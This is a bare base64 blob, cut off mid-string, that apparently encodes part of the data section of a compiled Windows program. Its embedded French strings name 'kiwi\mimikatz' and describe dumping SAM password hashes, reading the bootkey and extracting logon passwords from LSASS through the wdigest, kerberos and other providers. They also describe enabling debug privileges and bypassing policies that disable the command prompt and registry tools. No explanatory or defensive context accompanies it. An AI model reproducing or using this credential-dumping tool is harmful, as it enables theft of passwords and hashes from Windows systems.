AAUgBPAEMARQBTAFMARQBOAFQAUgBZADMAMgAoAAAAJwAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUAUAByAG8AYwBlAHMAcwBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAAAAAFQAcgBvAHAALAAgAG8AdQAgAHAAYQBzACAAZABlACAAcAByAG8AYwBlAHMAcwB1AHMAIAA6ACAAJwAAAAAAAAApAC4AcwBlAHIAdgBpAGMAZQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAA9ACAAAABTAEUAUgBWAEkAQwBFACgAAAAAAAAAAAApAC4AUwBlAHIAdgBpAGMAZQBTAHQAYQB0AHUAcwBQAHIAbwBjAGUAcwBzAC4AZAB3AFAAcgBvAGMAZQBzAHMASQBkACAAPQAgAAAAAAAAACcAIAA7ACAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAAAAAAAAUwBlAHIAdgBpAGMAZQAgAHUAbgBpAHEAdQBlACAAaQBuAHQAcgBvAHUAdgBhAGIAbABlACAAOgAgACcAAAAAAC4AAAAAAAAAawBpAHcAaQBcAG0AaQBtAGkAawBhAHQAegAAAAAAAAAAAAAAAAAAAEEAdAB0AGUAbgB0AGUAIABkAGUAIABjAG8AbgBuAGUAeABpAG8AbgAgAGQAdQAgAGMAbABpAGUAbgB0AC4ALgAuAAAAAAAAAFMAZQByAHYAZQB1AHIAIABjAG8AbgBuAGUAYwB0AOkAIADgACAAdQBuACAAYwBsAGkAZQBuAHQAIAAhAAAAAABNAGUAcwBzAGEAZwBlACAAZAB1ACAAcAByAG8AYwBlAHMAcwB1AHMAIAA6AAAAAAAAAAAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlACAAcAByAGUAbQBpAGUAcgAgAG0AZQBzAHMAYQBnAGUAIAAhACAAOwAgAAAAAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAYwByAOkAZQByACAAdQBuACAAYwBhAG4AYQBsACAAZABlACAAYwBvAG0AbQB1AG4AaQBjAGEAdABpAG8AbgAgACEAIAA7ACAAAAAAAAAAAAAAAEkAbgBqAGUAYwB0AOkAIABzAGEAbgBzACAAYwBvAG0AbQB1AG4AaQBjAGEAdABpAG8AbgAgACgAbABlAGcAYQBjAHkAKQAAAAAAAAAAAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBpAG4AagBlAGMAdABlAHIAIAAhACAAOwAgAAAAAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIAB1AG4AIABjAGEAbgBhAGwAIABkAGUAIABjAG8AbQBtAHUAbgBpAGMAYQB0AG8AbgAgAGUAcwB0ACAAZADpAGoA4AAgAG8AdQB2AGUAcgB0AAAAAAAAAAAAAAAAAAAARgBlAHIAbQBlAHQAdQByAGUAIABkAHUAIABjAGEAbgBhAGwAIABkAGUAIABjAG8AbQBtAHUAbgBpAGMAYQB0AGkAbwBuAAAAAAAAAAAAAABPAGIAdABpAGUAbgB0ACAAZABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAHMAdQByACAAbABlACAAZADpAG0AaQBuAGUAdQByACAAZQBuACAAYwBvAHUAcgBzAAAAAAAAAEMAaABhAG0AcAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAgAGMAbwBsAG8AbgBuAGUAcwAAAAAAAAAgAGwAaQBnAG4AZQBzACAAeAAgAAAAAABEAGkAbQBlAG4AcwBpAG8AbgAgACAAIAAgACAAIAAgADoAIAAAAAAATQBpAG4AZQBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAAZAB1ACAAcABsAGEAdABlAGEAdQAAAAAAAAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAAZAB1ACAAagBlAHUAAAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAOkAbABlAG0AZQBuAHQAcwAgAGQAZQAgAGwAYQAgAGMAbwBsAG8AbgBuAGUAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIAByAOkAZgDpAHIAZQBuAGMAZQBzACAAZABlACAAbABhACAAYwBvAGwAbwBuAG4AZQAgADoAIAAAAAAAAAAAAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAAcgDpAGYA6QByAGUAbgBjAGUAcwAgAGQAZQBzACAAYwBvAGwAbwBuAG4AZQBzAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAAcgDpAGYA6QByAGUAbgBjAGUAcwAgAGQAZQAgAGwAJwDpAGwAZQBtAGUAbgB0AAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIALgBlAHgAZQAAAEwAYQBuAGMAZQAgAHUAbgAgAOkAZABpAHQAZQB1AHIAIABkAGUAIAByAGUAZwBpAHMAdAByAGUALAAgAGkAZwBuAG8AcgBhAG4AdAAgAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAHIAZQBnAGUAZABpAHQAAAAAAAAAAAAAAEwAYQBuAGMAZQAgAHUAbgBlACAAaQBuAHYAaQB0AGUAIABkAGUAIABjAG8AbQBtAGEAbgBkAGUALAAgAGkAZwBuAG8AcgBhAG4AdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAAAAYwBtAGQAAABMAGEAbgBjAGUAIABsAGUAIABnAGUAcwB0AGkAbwBuAG4AYQBpAHIAZQAgAGQAZQAgAHQAYQBjAGgAZQAsACAAaQBnAG4AbwByAGEAbgB0ACAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByAAAAdABhAHMAawBtAGcAcgAAAEwAYQBuAGMAZQAgAE8AdQB0AGwAbwBvAGsALAAgAGkAZwBuAG8AcgBhAG4AdAAgAEQAaQBzAGEAYgBsAGUAUABzAHQAAAAAAG8AbABwAHMAdAAAAAAAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAAAAAAByAGUAZwBlAGQAaQB0AC4AZQB4AGUAAABPSwAAS08AAEUAZABpAHQAZQB1AHIAIABkAGUAIAByAGUAZwBpAHMAdAByAGUAIAA6ACAAAAAAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABJAG4AdgBpAHQAZQAgAGQAZQAgAGMAbwBtAG0AYQBuAGQAZQAgADoAIAAAAAAAAABLAGkAdwBpAEEAbgBkAFQAYQBzAGsATQBnAHIAAAAAAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgAAAAAAdABhAHMAawBtAGcAcgAuAGUAeABlAAAARwBlAHMAdABpAG8AbgBuAGEAaQByAGUAIABkAGUAIAB0AGEAYwBoAGUAcwAgADoAIAAAAAAAAABEaXNhYmxlUHN0AAAAAAAAS2l3aUFuZFBzdAAAAAAAAE8AdQB0AGwAbwBvAGsALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AAABPAHUAdABsAG8AbwBrACAAYQB2AGUAYwAgAFAAUwBUACAAIAAgADoAIAAAAAAAAABvAGwAbQBhAHAAaQAzADIALgBkAGwAbAAAAAAAAAAAAE8AdQB0AGwAbwBvAGsAIABpAG4AdAByAG8AdQB2AGEAYgBsAGUAAABTAG8AZgB0AHcAYQByAGUAXABDAGwAYQBzAHMAZQBzAFwAAAAAAAAAXABDAEwAUwBJAEQAAAAAAFMAbwBmAHQAdwBhAHIAZQBcAFcAbwB3ADYANAAzADIATgBvAGQAZQBcAEMAbABhAHMAcwBlAHMAXABDAEwAUwBJAEQAXAAAAFwATABvAGMAYQBsAFMAZQByAHYAZQByADMAMgAAAAAAJyA6IAAAAABSZWdRdWVyeVZhbHVlRXggJwAAAAAAAAAnIG4nZXN0IHBhcyA6IFJFR19TWgAAAABMZSB0eXBlIHJldG91cm7pIHBhciAnAABSZWdPcGVuS2V5RXggJwAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAdwByAGkAdABlAE0AZQBtAG8AcgB5ACAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFAAZQBiACAAAAAAAAAAAABSAGUAcwB1AG0AZQBUAGgAcgBlAGEAZAAgAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZQB4AGUAYwBQAHIAbwBjAGUAcwBzACAAAAAAAAAAAAAAAAAAAABtAG8AZABfAG0AaQBtAGkAawBhAHQAegBfAG4AbwBnAHAAbwA6ADoAZABpAHMAYQBiAGwAZQBTAGkAbQBwAGwAZQAgACgAdQBuAGkAYwBvAGQAZQApACAAVABhAGkAbABsAGUAIABkAHUAIABwAGEAdAB0AGUAcgBuACAAbwByAGkAZwBpAG4AYQBsACAAZABpAGYAZgDpAHIAZQBuAHQAZQAgAGQAdQAgAHAAYQB0AHQAZQByAG4AIABjAGkAYgBsAGUAAAAAAAAAAAAAAAAAbQBvAGQAXwBtAGkAbQBpAGsAYQB0AHoAXwBuAG8AZwBwAG8AOgA6AGQAaQBzAGEAYgBsAGUAUwBpAG0AcABsAGUAIAAoAG4AbwBuAC0AdQBuAGkAYwBvAGQAZQApACAAVABhAGkAbABsAGUAIABkAHUAIABwAGEAdAB0AGUAcgBuACAAbwByAGkAZwBpAG4AYQBsACAAZABpAGYAZgDpAHIAZQBuAHQAZQAgAGQAdQAgAHAAYQB0AHQAZQByAG4AIABjAGkAYgBsAGUAAAAAAEwAaQBzAHQAZQAgAGwAZQBzACAAcAByAGkAdgBpAGwA6ABnAGUAcwAAAAAAAAAAAEEAYwB0AGkAdgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAGUAbgBhAGIAbABlAAAAAAAAAAAAAAAAAFIAZQB0AGkAcgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAHIAZQBtAG8AdgBlAAAAAAAAAAAAAAAAAEQA6QBzAGEAYwB0AGkAdgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAAAAZABpAHMAYQBiAGwAZQAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEQAZQBiAHUAZwAAAAAAAABkAGUAYgB1AGcAAAAAAAAAAAAAAAAAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABTAGUAYwB1AHIAaQB0AHkAAAAAAAAAAABzAGUAYwB1AHIAaQB0AHkAAAAAAAAAAAAAAAAAAAAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAFQAYwBiAAAAdABjAGIAAAAAAAAAAAAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEEAcwBzAGkAZwBuAFAAcgBpAG0AYQByAHkAVABvAGsAZQBuAAAAAABhAHMAcwBpAGcAbgAAAAAARABlAG0AYQBuAGQAZQAgACgAbwB1ACAAZADpAHMAYQBjAHQAaQB2AGUAKQAgAGwAZQAgAHAAcgBpAHYAaQBsAOgAZwBlACAAUwBoAHUAdABkAG8AdwBuAAAAAAAAAAAAcwBoAHUAdABkAG8AdwBuAAAAAAAAAAAAAAAAAAAAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABUAGEAawBlAE8AdwBuAGUAcgBzAGgAaQBwAAAAAAAAAHQAYQBrAGUAbwB3AG4AZQByAAAAAAAAACAAOgAgAAAAIABkAHUAIABwAHIAaQB2AGkAbADoAGcAZQAgADoAIAAAAAAAAAAAACcAQQBDAFQASQBWAEEAVABJAE8ATgAAAG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EAAACUmQKAAQAAAFIAZQB2AGUAcgB0AFQAbwBTAGUAbABmAAAAAAAAAAAAcgBlAHYAZQByAHQAAAAAAFIAZQB2AGUAcgB0AFQAbwBTAGUAbABmACAAOgAgAAAAbwBrAAAAAABrAG8AIAA7ACAAAAAAAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABNAFMAVgAxAF8AMAAAAAAAAABtAHMAdgAAAOkAbgB1AG0A6AByAGUAIABsAGUAcwAgAHMAZQBzAHMAaQBvAG4AcwAgAGMAbwB1AHIAYQBuAHQAZQBzACAAZAB1ACAAcAByAG8AdgBpAGQAZQByACAAVwBEAGkAZwBlAHMAdAAAAAAAdwBkAGkAZwBlAHMAdAAAAAAAAAAAAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABLAGUAcgBiAGUAcgBvAHMAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAADpAG4AdQBtAOgAcgBlACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAGQAdQAgAHAAcgBvAHYAaQBkAGUAcgAgAFQAcwBQAGsAZwAAAAAAAAAAAHQAcwBwAGsAZwAAAAAAAAAAAAAAAAAAAOkAbgB1AG0A6AByAGUAIABsAGUAcwAgAHMAZQBzAHMAaQBvAG4AcwAgAGMAbwB1AHIAYQBuAHQAZQBzACAAZAB1ACAAcAByAG8AdgBpAGQAZQByACAATABpAHYAZQBTAFMAUAAAAAAAbABpAHYAZQBzAHMAcAAAAAAAAAAAAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABTAFMAUAAgACgAbQBzAHYAMQBfADAAKQAAAHMAcwBwAAAAAAAAAAAAAADpAG4AdQBtAOgAcgBlACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAGQAZQBzACAAcAByAG8AdgBpAGQAZQByAHMAIABkAGkAcwBwAG8AbgBpAGIAbABlAHMAAAAAAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAAAAAAAAAAAAcgBlAGMAaABlAHIAZQAgAGQAaQByAGUAYwB0AGUAbQBlAG4AdAAgAGQAYQBuAHMAIABsAGUAcwAgAHMAZQBnAG0AZQBuAHQAcwAgAG0A6QBtAG8AaQByAGUAIABkAGUAIABMAFMAQQBTAFMAIABkAGUAcwAgAG0AbwB0AHMAIABkAGUAIABwAGEAcwBzAGUAcwAAAAAAAABzAGUAYQByAGMAaABQAGEAcwBzAHcAbwByAGQAcwAAAEQAbwBuAG4A6QBlAHMAIABMAFMAQQBTAFMAIABlAG4AIABlAHIAcgBlAHUAcgAAAGwAcwBhAHMAcgB2AAAAAABtAHMAdgAxAF8AMAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAAdABzAHAAawBnAC4AZABsAGwAAAAAAAAAdwBkAGkAZwBlAHMAdAAuAGQAbABsAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAAAAAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAAABsAGkAdgBlAHMAcwBwAC4AZABsAGwAAABsAHMAYQBzAHMALgBlAHgAZQAAAAAAAAAAAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUAcwBMAGkAcwB0AEYAbwByAFAAcgBvAGMAZQBzAHMAIAA6ACAAAAAAAAAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAA6ACAAAAAAAAAAAABMc2FJUmVnaXN0ZXJOb3RpZmljYXRpb24AAAAAAAAAAExzYUlDYW5jZWxOb3RpZmljYXRpb24AACAAfQAAAAAAXQAgAHsAIAAAAAAAAAAAAAkAIABbAAAACQAgACoAIABNAG8AdAAgAGQAZQAgAHAAYQBzAHMAZQAgADoAIAAAAAkAIAAqACAARABvAG0AYQBpAG4AZQAgACAAIAAgACAAIAA6ACAAAAAJACAAKgAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAACQAgACAAIAAgACAAIAAgAE0AbwB0ACAAZABlACAAcABhAHMAcwBlACAAOgAgAAAACQAgACAAIAAgACAAIAAgAEQAbwBtAGEAaQBuAGUAIAAgACAAIAAgACAAOgAgAAAAXQAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAAAAAAAAkAI